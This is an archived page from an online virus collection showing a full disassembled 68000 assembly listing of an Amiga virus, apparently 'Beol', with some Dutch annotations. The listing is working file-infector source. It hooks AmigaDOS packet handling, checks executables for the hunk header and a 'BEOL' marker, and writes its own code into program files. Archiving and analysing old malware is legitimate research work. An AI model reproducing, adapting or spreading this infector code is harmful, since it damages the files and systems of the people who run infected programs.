home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
b
/
Beol
/
memory.beol3.asm
< prev
next >
Wrap
Assembly Source File
|
2010-01-18
|
17KB
|
641 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $118
EXT_0002 EQU $5890
SECTION S_0,CODE
; In memory start op $0003a5c0
; Eindigt in memory op $0003abac
SECSTRT_0:
MOVEA.L (ABSEXECBASE).W,A6 ;000: 2C780004 exec in a6
MOVEA.L 276(A6),A0 ;004: 206E0114 thistask:PTR TO tc -> a0
MOVE.L 172(A0),D0 ;008: 202800AC ?? -> D0
BEQ.S LAB_0002 ;00C: 6706 d0=NULL -> LAB_0002
LSL.L #2,D0 ;00E: E588 d0<>NULL -> d0=adres
MOVEQ #60,D1 ;010: 723C 60 -> d1
BRA.S LAB_0003 ;012: 600A
LAB_0002: ; geen adres aanwezig in d0
ADDA #$005C,A0 ;014: D0FC005C
JSR _LVOWaitPort(A6) ;018: 4EAEFE80 A0=port
MOVEQ #24,D1 ;01C: 7218 24 -> d1
LAB_0003:
ADD.L D1,D0 ;01E: D081
MOVEA.L D0,A5 ;020: 2A40 D0->A5
BSR.S LAB_000A ;022: 616A
BEQ.S LAB_0004 ;024: 670A
MOVE.L D1,(A5) ;026: 2A81
ADDQ.L #4,D0 ;028: 5880
MOVE #$4EF9,(A0)+ ;02A: 30FC4EF9
MOVE.L D0,(A0)+ ;02E: 20C0
LAB_0004:
MOVE #$4E75,(A0)+ ;030: 30FC4E75
LAB_0005:
LEA SECSTRT_0-8(PC),A2 ;034: 45FAFFC2
MOVE.L A2,D0 ;038: 200A
SUB.L D0,280(A2) ;03A: 91AA0118
SUB.L D0,300(A2) ;03E: 91AA012C
MOVE #$017D,D7 ;042: 3E3C017D
LAB_0006:
MOVE.L (A2)+,(A3)+ ;046: 26DA
DBF D7,LAB_0006 ;048: 51CFFFFC
MOVE.L A6,(A3) ;04C: 268E
MOVEA.L (ABSEXECBASE).W,A6 ;04E: 2C780004
MOVEA.L A4,A1 ;052: 224C
MOVE.L (A4),D0 ;054: 2014
JSR -210(A6) ;056: 4EAEFF2E
JSR -636(A6) ;05A: 4EAEFD84
JMP -90(A3) ;05E: 4EEBFFA6
MOVEM.L D0-D7/A0-A6,-(A7) ;062: 48E7FFFE
BSR.S LAB_000A ;066: 6126
BEQ.S LAB_0008 ;068: 671E
MOVE.L A6,-(A7) ;06A: 2F0E
MOVE.L A0,D1 ;06C: 2208
SUBQ.L #4,D1 ;06E: 5981
LSR.L #2,D1 ;070: E489
MOVEA.L D0,A1 ;072: 2240
LAB_0007:
CMPI #$4AFC,(A1)+ ;074: 0C594AFC
BNE.S LAB_0007 ;078: 66FA
SUBQ #2,A1 ;07A: 5549
MOVEA.L (ABSEXECBASE).W,A6 ;07C: 2C780004
JSR -102(A6) ;080: 4EAEFF9A
MOVEA.L (A7)+,A6 ;084: 2C5F
BRA.S LAB_0009 ;086: 6002
LAB_0008:
MOVEQ #-1,D0 ;088: 70FF
LAB_0009:
MOVE.L D0,(A7) ;08A: 2E80
BRA.S LAB_0005 ;08C: 60A6
LAB_000A:
MOVEA.L (ABSEXECBASE).W,A6 ;08E: 2C780004
BSR.S LAB_000B ;092: 610C
DC.B 'dos.library',0 ;094
LAB_000B:
MOVEA.L (A7)+,A1 ;0A0: 225F copieer data van stack in A1 (waarschijnlijk begin prog)
JSR _LVOOldOpenLibrary(A6) ;0A2: 4EAEFE68 A1 = adres naam library
MOVEA.L 58(A6),A3 ;0A6: 266E003A
DC.W $223A ;0AA
DC.W $FF48 ;0AC
LSL.L #2,D1 ;0AE: E589
MOVEA.L D1,A4 ;0B0: 2841
MOVE.L -(A4),D7 ;0B2: 2E24
SUBQ.L #8,D7 ;0B4: 5187
LEA 8(A4,D7.L),A1 ;0B6: 43F47808
MOVE #$0193,D6 ;0BA: 3C3C0193
MOVE D6,D5 ;0BE: 3A06
LAB_000C:
MOVE.L -(A1),-(A7) ;0C0: 2F21
DBF D6,LAB_000C ;0C2: 51CEFFFC
MOVE.L D7,D6 ;0C6: 2C07
SUB.L LAB_0016+2(PC),D6 ;0C8: 9CBA00A8
LAB_000D:
MOVE.B -(A1),1616(A1) ;0CC: 13610650
SUBQ.L #1,D6 ;0D0: 5386
BNE.S LAB_000D ;0D2: 66F8
LAB_000E:
MOVE.L (A7)+,(A1)+ ;0D4: 22DF
DBF D5,LAB_000E ;0D6: 51CDFFFC
SUBA.L A0,A0 ;0DA: 91C8
PEA -210(A6) ;0DC: 486EFF2E
PEA -198(A6) ;0E0: 486EFF3A
PEA LAB_0052(PC) ;0E4: 487A04EA
MOVEA.L A7,A1 ;0E8: 224F
CLR.L -(A7) ;0EA: 42A7
MOVEA.L A7,A2 ;0EC: 244F
PEA 8(A4) ;0EE: 486C0008
PEA 8(A4,D7.L) ;0F2: 48747808
MOVEA.L D0,A6 ;0F6: 2C40
MOVE.L A7,D0 ;0F8: 200F
JSR -756(A6) ;0FA: 4EAEFD0C
LEA 24(A7),A7 ;0FE: 4FEF0018
DC.W $41FA ;102
DC.W $FEF0 ;104
MOVE.L D0,(A0)+ ;106: 20C0
MOVE.L D0,D1 ;108: 2200
LSL.L #2,D0 ;10A: E588
RTS ;10C: 4E75
LAB_000F:
ILLEGAL ;10E: 4AFC
LAB_0010:
DC.W $0000 ;110
BTST D0,(A6) ;112: 0116
ORI.B #$00,D0 ;114: 00000000
LAB_0011:
ORI.B #$00,D0 ;118: 00000000
DC.W $0003 ;11C
DC.W $B568 ;11E
DC.W $0003 ;120
EOR D2,0(A0) ;122: B5680000
LAB_0012:
ORI #$6100,132(A2) ;126: 006A61000084
MOVEQ #36,D0 ;12C: 7024
ADD.L (A2),D0 ;12E: D092
LSL.L #2,D0 ;130: E588
MOVEA.L D0,A0 ;132: 2040
MOVEQ #0,D0 ;134: 7000
MOVE.B (A0),D0 ;136: 1010
BEQ.S LAB_0014 ;138: 670E
TST.B 0(A0,D0.W) ;13A: 4A300000
BNE.S LAB_0014 ;13E: 6608
LAB_0013:
SUBI.L #$00000654,-20(A0) ;140: 04A800000654FFEC
LAB_0014:
BRA.S LAB_001C ;148: 6060
LAB_0015:
BSR.S LAB_001D ;14A: 6162
MOVEM.L (A7),D0/D4-D6/A4 ;14C: 4CD71071
BSR LAB_0038 ;150: 61000304
MOVE.L D0,D2 ;154: 2400
MOVE.L D2,D3 ;156: 2602
SUB.L D4,D3 ;158: 9684
BSR LAB_003B ;15A: 61000302
SUB.L LAB_0013+2(PC),D0 ;15E: 90BAFFE2
BMI.S LAB_001A ;162: 6B3E
SUB.L D2,D0 ;164: 9082
BGT.S LAB_0016 ;166: 6E08
MOVEQ #0,D5 ;168: 7A00
ADD.L D0,D2 ;16A: D480
ADD.L D0,D4 ;16C: D880
BMI.S LAB_001A ;16E: 6B32
LAB_0016:
CMPI.L #$00000650,D3 ;170: 0C8300000650
BGE.S LAB_0019 ;176: 6C22
MOVE.L D3,D0 ;178: 2003
SUB.L LAB_0013+2(PC),D0 ;17A: 90BAFFC6
BSR LAB_0039 ;17E: 610002D8
MOVE.L LAB_0016+2(PC),D0 ;182: 203AFFEE
SUB.L D3,D0 ;186: 9083
CMP.L D0,D4 ;188: B880
BGT.S LAB_0018 ;18A: 6E02
MOVE.L D4,D0 ;18C: 2004
LAB_0018:
MOVE.L D0,4(A2) ;18E: 25400004
MOVE.L A4,(A2) ;192: 248C
MOVEQ #82,D0 ;194: 7052
BSR LAB_003D ;196: 610002D0
LAB_0019:
MOVE.L D2,D0 ;19A: 2002
BSR LAB_003B ;19C: 610002C0
BRA.S LAB_001B ;1A0: 6002
LAB_001A:
MOVEQ #-1,D4 ;1A2: 78FF
LAB_001B:
MOVEM.L D4-D5,4(A7) ;1A4: 48EF00300004
LAB_001C:
BRA LAB_0024 ;1AA: 60000118
LAB_001D:
MOVEA.L (ABSEXECBASE).W,A6 ;1AE: 2C780004
MOVEA.L 276(A6),A2 ;1B2: 246E0114
MOVEA.L 58(A2),A5 ;1B6: 2A6A003A
MOVEQ #92,D7 ;1BA: 7E5C
ADD.L A2,D7 ;1BC: DE8A
BSR LAB_003F ;1BE: 610002B2
MOVEA.L (A7)+,A0 ;1C2: 205F
LEA 24(A2),A1 ;1C4: 43EA0018
MOVEQ #9,D0 ;1C8: 7009
LAB_001E:
MOVE.L -(A1),-(A7) ;1CA: 2F21
DBF D0,LAB_001E ;1CC: 51C8FFFC
JMP (A0) ;1D0: 4ED0
LAB_001F:
BSR.S LAB_001D ;1D2: 61DA
LEA -4(A2),A1 ;1D4: 43EAFFFC
SUBA.L A0,A0 ;1D8: 91C8
MOVE.L (A1)+,D0 ;1DA: 2019
LSL.L #2,D0 ;1DC: E588
MOVE.L 36(A0,D0.L),D6 ;1DE: 2C300824
MOVEA.L (A1)+,A4 ;1E2: 2859
MOVE.L (A1)+,D5 ;1E4: 2A19
MOVE.L D5,D0 ;1E6: 2005
LSL.L #2,D0 ;1E8: E588
CMPI.L #$092E6261,0(A0,D0.L) ;1EA: 0CB0092E62610800
BNE.S LAB_0022 ;1F2: 6636
MOVEM.L D0-D3/A0-A2/A6,-(A7) ;1F4: 48E7F0E2
DC.W $2C7A ;1F8
DC.W $03F6 ;1FA
MOVE.L A4,D1 ;1FC: 220C
JSR -96(A6) ;1FE: 4EAEFFA0
MOVE.L D0,D1 ;202: 2200
BEQ.S LAB_0021 ;204: 6720
JSR -126(A6) ;206: 4EAEFF82
JSR -90(A6) ;20A: 4EAEFFA6
BSR.S LAB_0020 ;20E: 6108
DC.W $632F ;210
DC.W $6D6F ;212
DC.W $756E ;214
MOVEQ #0,D2 ;216: 7400
LAB_0020:
MOVE.L (A7)+,D1 ;218: 221F
MOVE.L -16(A2),D2 ;21A: 242AFFF0
JSR -30(A6) ;21E: 4EAEFFE2
JSR -36(A6) ;222: 4EAEFFDC
LAB_0021:
MOVEM.L (A7)+,D0-D3/A0-A2/A6 ;226: 4CDF470F
LAB_0022:
TST.L -12(A2) ;22A: 4AAAFFF4
BEQ LAB_002E ;22E: 670001B4
MOVE.L A5,D0 ;232: 200D
LSR.L #2,D0 ;234: E488
MOVE.L D0,(A2) ;236: 2480
MOVE.L A4,-4(A2) ;238: 254CFFFC
MOVEQ #26,D0 ;23C: 701A
BSR LAB_003E ;23E: 6100022C
BPL.S LAB_0023 ;242: 6A14
LEA 16(A5),A5 ;244: 4BED0010
MOVE.L (A5),D0 ;248: 2015
SUB.L -(A5),D0 ;24A: 90A5
ADDQ.L #8,D0 ;24C: 5080
BPL.S LAB_0023 ;24E: 6A08
MOVE #$040A,D0 ;250: 303C040A
BSR LAB_003D ;254: 61000212
LAB_0023:
BPL LAB_002D ;258: 6A000188
MOVE.L 112(A5),D4 ;25C: 282D0070
PEA 132(A5) ;260: 486D0084
MOVE.L 104(A5),-(A7) ;264: 2F2D0068
MOVEQ #4,D0 ;268: 7004
MOVE.L D0,4(A2) ;26A: 25400004
SUBQ.L #4,A7 ;26E: 598F
MOVE.L A7,(A2) ;270: 248F
MOVEQ #82,D0 ;272: 7052
BSR LAB_003D ;274: 610001F2
CMPI.L #$000003F3,(A7)+ ;278: 0C9F000003F3
BNE LAB_002C ;27E: 66000160
BSR LAB_003A ;282: 610001D8
MOVE.L LAB_0013+2(PC),D0 ;286: 203AFEBA
MOVE.L D0,D3 ;28A: 2600
MOVEQ #1,D1 ;28C: 7201
JSR -684(A6) ;28E: 4EAEFD54
MOVEA.L D0,A5 ;292: 2A40
MOVE.L D0,(A2) ;294: 2480
BEQ LAB_002C ;296: 67000148
MOVE.L D3,4(A2) ;29A: 25430004
MOVEQ #82,D0 ;29E: 7052
BSR LAB_003D ;2A0: 610001C6
CMP.L D0,D3 ;2A4: B680
BNE.S LAB_0028 ;2A6: 6660
CMPI.L #$42454F4C,726(A5) ;2A8: 0CAD42454F4C02D6
BNE.S LAB_0025 ;2B0: 6624
BSR LAB_003A ;2B2: 610001A8
BSR LAB_0032 ;2B6: 6100014E
DC.W $41FA ;2BA
BTST D1,(EXT_0002).W ;2BC: 03385890
ADDA.L (A0),A0 ;2C0: D1D0
MOVE.L D6,(A0) ;2C2: 2086
LAB_0024:
CLR.L 32(A7) ;2C4: 42AF0020
MOVE.L -20(A2),D7 ;2C8: 2E2AFFEC
MOVE.L 20(A2),-20(A2) ;2CC: 256A0014FFEC
BRA LAB_002F ;2D2: 60000114
LAB_0025:
MOVE.L #$000003F2,-4(A5,D3.W) ;2D6: 2BBC000003F230FC
MOVE.L D3,D0 ;2DE: 2003
LSR.L #1,D0 ;2E0: E288
MOVEA.L A5,A0 ;2E2: 204D
MOVE.L A5,D1 ;2E4: 220D
LAB_0026:
CMPI #$03E9,(A0)+ ;2E6: 0C5803E9
DBEQ D0,LAB_0026 ;2EA: 57C8FFFA
BNE.S LAB_0028 ;2EE: 6618
SUB.L A0,D1 ;2F0: 9288
ADDQ #4,A0 ;2F2: 5848
BEQ LAB_002B ;2F4: 670000E4
ADDQ #2,A0 ;2F8: 5448
CMPI #$4E75,(A0)+ ;2FA: 0C584E75
BNE.S LAB_0029 ;2FE: 663C
LAB_0027:
CMPI #$4AFC,(A0)+ ;300: 0C584AFC
DBEQ D0,LAB_0027 ;304: 57C8FFFA
LAB_0028:
BNE LAB_002B ;308: 660000D0
MOVE.L #$00000600,D0 ;30C: 203C00000600
CMP.L 12(A0),D0 ;312: B0A8000C
BLT.S LAB_0028 ;316: 6DF0
CMP.L 16(A0),D0 ;318: B0A80010
BLT.S LAB_0028 ;31C: 6DEA
LEA LAB_0011+1(PC),A1 ;31E: 43FAFDF9
ADDA #$0009,A0 ;322: D0FC0009
MOVE.B (A0)+,(A1)+ ;326: 12D8
MOVE (A0)+,(A1)+ ;328: 32D8
MOVE.L D4,D0 ;32A: 2004
SUB.L D1,D0 ;32C: 9081
SUBI.L #$0000064C,D0 ;32E: 04800000064C
MOVE.L (A0)+,(A1) ;334: 2298
ADD.L D0,(A1)+ ;336: D199
MOVE.L (A0)+,(A1) ;338: 2298
ADD.L D0,(A1)+ ;33A: D199
LAB_0029:
LSR.L #2,D4 ;33C: E48C
BCS.S LAB_0028 ;33E: 65C8
BSR LAB_0038 ;340: 61000114
MOVEQ #0,D1 ;344: 7200
BSR LAB_0037 ;346: 610000FE
MOVEA.L A2,A1 ;34A: 224A
MOVE.L A5,(A1)+ ;34C: 22CD
MOVE.L D3,(A1)+ ;34E: 22C3
MOVEQ #87,D0 ;350: 7057
BSR LAB_003D ;352: 61000114
BSR LAB_003A ;356: 61000104
MOVEA.L A5,A0 ;35A: 204D
PEA (1011).W ;35C: 487803F3
MOVE.L (A7)+,(A0)+ ;360: 20DF
CLR.L (A0)+ ;362: 4298
MOVEQ #2,D0 ;364: 7002
MOVE.L D0,(A0)+ ;366: 20C0
CLR.L (A0)+ ;368: 4298
MOVEQ #1,D1 ;36A: 7201
MOVE.L D1,(A0)+ ;36C: 20C1
MOVE #$017E,D0 ;36E: 303C017E
MOVE.L D0,(A0)+ ;372: 20C0
MOVE.L D4,(A0)+ ;374: 20C4
MOVE #$03E9,D1 ;376: 323C03E9
MOVE.L D1,(A0)+ ;37A: 20C1
MOVE.L D0,(A0)+ ;37C: 20C0
MOVE.L #$487AFFFE,(A0)+ ;37E: 20FC487AFFFE
MOVE.L LAB_0044(PC),(A0)+ ;384: 20FA0132
LEA SECSTRT_0(PC),A1 ;388: 43FAFC76
MOVE #$017B,D0 ;38C: 303C017B
LAB_002A:
MOVE.L (A1)+,(A0)+ ;390: 20D9
DBF D0,LAB_002A ;392: 51C8FFFC
ADDQ.L #3,D1 ;396: 5681
MOVE.L D1,(A0)+ ;398: 20C1
MOVEQ #2,D0 ;39A: 7002
MOVE.L D0,(A0)+ ;39C: 20C0
CLR.L (A0)+ ;39E: 4298
LEA (EXT_0001).W,A1 ;3A0: 43F80118
MOVE.L A1,(A0)+ ;3A4: 20C9
ADDA #$0014,A1 ;3A6: D2FC0014
MOVE.L A1,(A0)+ ;3AA: 20C9
MOVE.L D0,(A0)+ ;3AC: 20C0
MOVEQ #1,D0 ;3AE: 7001
MOVE.L D0,(A0)+ ;3B0: 20C0
SUBQ.L #8,A1 ;3B2: 5189
MOVE.L A1,(A0)+ ;3B4: 20C9
ADDQ.L #4,A1 ;3B6: 5889
MOVE.L A1,(A0)+ ;3B8: 20C9
CLR.L (A0)+ ;3BA: 4298
ADDQ.L #6,D1 ;3BC: 5C81
MOVE.L D1,(A0)+ ;3BE: 20C1
SUBQ.L #8,D1 ;3C0: 5181
MOVE.L D1,(A0)+ ;3C2: 20C1
MOVE.L D4,(A0)+ ;3C4: 20C4
MOVEA.L A2,A1 ;3C6: 224A
MOVE.L A5,(A1)+ ;3C8: 22CD
SUBQ.L #4,D3 ;3CA: 5983
MOVE.L D3,(A1)+ ;3CC: 22C3
MOVEQ #87,D0 ;3CE: 7057
BSR LAB_003D ;3D0: 61000096
BSR.S LAB_0036 ;3D4: 616A
BSR.S LAB_0032 ;3D6: 612E
BRA.S LAB_002E ;3D8: 600A
LAB_002B:
MOVEA.L A5,A1 ;3DA: 224D
JSR -690(A6) ;3DC: 4EAEFD4E
LAB_002C:
ADDQ #8,A7 ;3E0: 504F
LAB_002D:
BSR.S LAB_0036 ;3E2: 615C
LAB_002E:
MOVE.L 20(A2),D7 ;3E4: 2E2A0014
LAB_002F:
LEA -16(A2),A0 ;3E8: 41EAFFF0
MOVEQ #9,D0 ;3EC: 7009
LAB_0030:
MOVE.L (A7)+,(A0)+ ;3EE: 20DF
DBF D0,LAB_0030 ;3F0: 51C8FFFC
LAB_0031:
MOVEA.L -20(A2),A0 ;3F4: 206AFFEC
MOVE.L D7,-20(A2) ;3F8: 2547FFEC
MOVE.L D7,14(A3) ;3FC: 2747000E
MOVEA.L A3,A1 ;400: 224B
JMP -366(A6) ;402: 4EEEFE92
LAB_0032:
MOVEA.L A5,A1 ;406: 224D
JSR -690(A6) ;408: 4EAEFD4E
MOVEM.L (A7)+,D0-D2 ;40C: 4CDF0007
MOVE.L D0,-(A7) ;410: 2F00
MOVEA.L D2,A0 ;412: 2042
MOVEA.L D2,A1 ;414: 2242
MOVEQ #0,D0 ;416: 7000
MOVE.B (A0),D0 ;418: 1010
BEQ.S LAB_0033 ;41A: 6706
ADDA D0,A1 ;41C: D2C0
TST.B (A1)+ ;41E: 4A19
BEQ.S LAB_0034 ;420: 6706
LAB_0033:
CLR.B (A1)+ ;422: 4219
CLR.B (A1)+ ;424: 4219
ADDQ.B #1,(A0) ;426: 5210
LAB_0034:
BSR.S LAB_0037 ;428: 611C
LSR.L #2,D2 ;42A: E48A
MOVEQ #28,D0 ;42C: 701C
BSR.S LAB_0035 ;42E: 610A
CLR.L 36(A7) ;430: 42AF0024
SUBQ.L #3,D2 ;434: 5782
LSL.L #2,D2 ;436: E58A
MOVEQ #34,D0 ;438: 7022
LAB_0035:
MOVE.L D2,8(A2) ;43A: 25420008
BRA.S LAB_003E ;43E: 602C
LAB_0036:
MOVE #$03EF,D0 ;440: 303C03EF
BRA.S LAB_003D ;444: 6022
LAB_0037:
LEA 12(A2),A0 ;446: 41EA000C
MOVE.L D1,-(A0) ;44A: 2101
MOVE.L D5,-(A0) ;44C: 2105
MOVE.L A4,-(A0) ;44E: 210C
CLR.L -(A0) ;450: 42A0
MOVEQ #21,D0 ;452: 7015
BRA.S LAB_003E ;454: 6016
LAB_0038:
MOVEQ #0,D0 ;456: 7000
LAB_0039:
MOVEQ #1,D1 ;458: 7201
BRA.S LAB_003C ;45A: 6004
LAB_003A:
MOVEQ #0,D0 ;45C: 7000
LAB_003B:
MOVEQ #-1,D1 ;45E: 72FF
LAB_003C:
MOVEM.L D0-D1,(A2) ;460: 48D20003
MOVE #$03F0,D0 ;464: 303C03F0
LAB_003D:
MOVE.L D6,-4(A2) ;468: 2546FFFC
LAB_003E:
MOVE D0,-14(A2) ;46C: 3540FFF2
BSR.S LAB_0031 ;470: 6182
LAB_003F:
MOVEA.L D7,A0 ;472: 2047
JSR -384(A6) ;474: 4EAEFE80
MOVEA.L D7,A0 ;478: 2047
JSR -372(A6) ;47A: 4EAEFE8C
MOVEA.L D0,A3 ;47E: 2640
MOVEA.L 10(A3),A2 ;480: 246B000A
LEA 24(A2),A2 ;484: 45EA0018
MOVE.L -12(A2),D0 ;488: 202AFFF4
RTS ;48C: 4E75
LAB_0040:
ADDA.L (A7)+,A7 ;48E: DFDF
ADDA.L (A7)+,A7 ;490: DFDF
DC.W $034C ;492
SWAP D1 ;494: 4841
MOVEP.L 23128(A4),D1 ;496: 034C5A58
BCHG D1,(A2)+ ;49A: 035A
DC.W $4950 ;49C
DC.W $054C ;49E
SWAP D1 ;4A0: 4841
LAB_0041:
MOVE.L 12(A5),D1 ;4A2: 222D000C
DC.W $41FA ;4A6
MOVEP.L 8776(A4),D0 ;4A8: 014C2248
MOVE.L (A0)+,D2 ;4AC: 2418
LAB_0042:
SUBQ.L #4,D2 ;4AE: 5982
BMI.S LAB_0043 ;4B0: 6B04
CMP.L (A0)+,D1 ;4B2: B298
BNE.S LAB_0042 ;4B4: 66F8
LAB_0043:
RTS ;4B6: 4E75
LAB_0044:
MOVEM.L D0-D7/A0-A6,-(A7) ;4B8: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A6 ;4BC: 2C780004
MOVEQ #92,D7 ;4C0: 7E5C
ADD.L 276(A6),D7 ;4C2: DEAE0114
BSR.S LAB_003F ;4C6: 61AA
MOVEA.L 10(A3),A5 ;4C8: 2A6B000A
ADDQ.L #4,A5 ;4CC: 588D
CLR.L -(A7) ;4CE: 42A7
MOVEQ #-23,D0 ;4D0: 70E9
CMP.L 36(A5),D0 ;4D2: B0AD0024
BEQ.S LAB_0049 ;4D6: 6766
SUBA.L A1,A1 ;4D8: 93C9
MOVE.L (A5)+,D1 ;4DA: 221D
BEQ.S LAB_0049 ;4DC: 6760
CMPI.B #$0D,-84(A1,D1.L) ;4DE: 0C31000D18AC
BNE.S LAB_0046 ;4E4: 6620
MOVE.L 80(A1,D1.L),D2 ;4E6: 24311850
BEQ.S LAB_0046 ;4EA: 671A
LSL.L #2,D2 ;4EC: E58A
MOVE.L 16(A1,D2.L),D3 ;4EE: 26312810
BEQ.S LAB_0046 ;4F2: 6712
LSL.L #2,D3 ;4F4: E58B
MOVE.L 0(A1,D3.L),D4 ;4F6: 28313800
LEA LAB_0040(PC),A0 ;4FA: 41FAFF92
AND.L (A0)+,D4 ;4FE: C898
LAB_0045:
CMP.L (A0)+,D4 ;500: B898
BEQ.S LAB_0049 ;502: 673A
BGT.S LAB_0045 ;504: 6EFA
LAB_0046:
MOVE.L (A5),D1 ;506: 2215
SUBI #$0017,D1 ;508: 04410017
BEQ.S LAB_0047 ;50C: 671E
SUBQ #1,D1 ;50E: 5341
BEQ.S LAB_0047 ;510: 671A
SUBI #$003A,D1 ;512: 0441003A
BEQ.S LAB_004A ;516: 6728
SUBI #$039B,D1 ;518: 0441039B
BEQ.S LAB_004C ;51C: 6744
SUBQ #2,D1 ;51E: 5541
BEQ.S LAB_0048 ;520: 6710
SUBQ #1,D1 ;522: 5341
BEQ.S LAB_004B ;524: 6726
SUBI #$001B,D1 ;526: 0441001B
BNE.S LAB_004F ;52A: 6666
LAB_0047:
PEA LAB_0012+2(PC) ;52C: 487AFBFA
BRA.S LAB_004D ;530: 6034
LAB_0048:
BSR LAB_0041 ;532: 6100FF6E
BNE.S LAB_004F ;536: 665A
MOVE.L 0(A0,D2.L),(A0) ;538: 20B02800
SUBQ.L #4,(A1) ;53C: 5991
LAB_0049:
BRA.S LAB_004F ;53E: 6052
LAB_004A:
BSR LAB_0041 ;540: 6100FF60
BNE.S LAB_004F ;544: 664C
PEA LAB_0015(PC) ;546: 487AFC02
BRA.S LAB_004D ;54A: 601A
LAB_004B:
BSR LAB_0041 ;54C: 6100FF54
BNE.S LAB_004F ;550: 6640
TST.L 20(A5) ;552: 4AAD0014
BLE.S LAB_004F ;556: 6F3A
MOVE.L LAB_0013+2(PC),D0 ;558: 203AFBE8
SUB.L D0,16(A5) ;55C: 91AD0010
BRA.S LAB_004F ;560: 6030
LAB_004C:
PEA LAB_001F(PC) ;562: 487AFC6E
LAB_004D:
MOVE.L D0,32(A5) ;566: 2B400020
PEA $800003EB ;56A: 4879800003EB
MOVE.L A7,D1 ;570: 220F
DC.W $2C7A ;572
ORI #$4EAE,SR ;574: 007C4EAE
DC.W $FE0E ;578
MOVEA.L (ABSEXECBASE).W,A6 ;57A: 2C780004
TST.L D0 ;57E: 4A80
BEQ.S LAB_004E ;580: 670E
MOVEQ #92,D1 ;582: 725C
ADD.L D1,D0 ;584: D081
MOVE.L -(A5),40(A5) ;586: 2B650028
MOVE.L D0,(A5) ;58A: 2A80
MOVE.L D0,14(A3) ;58C: 2740000E
LAB_004E:
ADDQ #8,A7 ;590: 504F
LAB_004F:
ADDQ #4,A7 ;592: 584F
MOVE.L A3,(A7) ;594: 2E8B
JSR -132(A6) ;596: 4EAEFF7C
SUBA.L A5,A5 ;59A: 9BCD
DC.W $287A ;59C
ORI #$286C,(A2) ;59E: 0052286C
DC.W $0022 ;5A2
MOVE.L 24(A4),D1 ;5A4: 222C0018
LSL.L #2,D1 ;5A8: E589
MOVE.L 4(A5,D1.L),D1 ;5AA: 22351804
BRA.S LAB_0051 ;5AE: 6012
LAB_0050:
MOVEM.L 0(A5,D1.L),D1-D2/A1 ;5B0: 4CF502061800
SUBQ.L #2,D2 ;5B6: 5582
BNE.S LAB_0051 ;5B8: 6608
PEA LAB_0044(PC) ;5BA: 487AFEFC
MOVE.L (A7)+,88(A1) ;5BE: 235F0058
LAB_0051:
LSL.L #2,D1 ;5C2: E589
BNE.S LAB_0050 ;5C4: 66EA
JSR -138(A6) ;5C6: 4EAEFF76
MOVEM.L (A7)+,D0-D7/A0-A6 ;5CA: 4CDF7FFF
RTS ;5CE: 4E75
LAB_0052:
MOVEA.L D1,A1 ;5D0: 2241
MOVE.L (A1)+,D0 ;5D2: 2019
SUB.L (A1),D0 ;5D4: 9091
CMP.L D0,D3 ;5D6: B680
BGE.S LAB_0053 ;5D8: 6C02
MOVE.L D3,D0 ;5DA: 2003
LAB_0053:
MOVE.L D0,D1 ;5DC: 2200
MOVEA.L (A1),A0 ;5DE: 2051
ADD.L D0,(A1) ;5E0: D191
MOVEA.L D2,A1 ;5E2: 2242
BRA.S LAB_0055 ;5E4: 6002
LAB_0054:
MOVE.B (A0)+,(A1)+ ;5E6: 12D8
LAB_0055:
DBF D1,LAB_0054 ;5E8: 51C9FFFC
END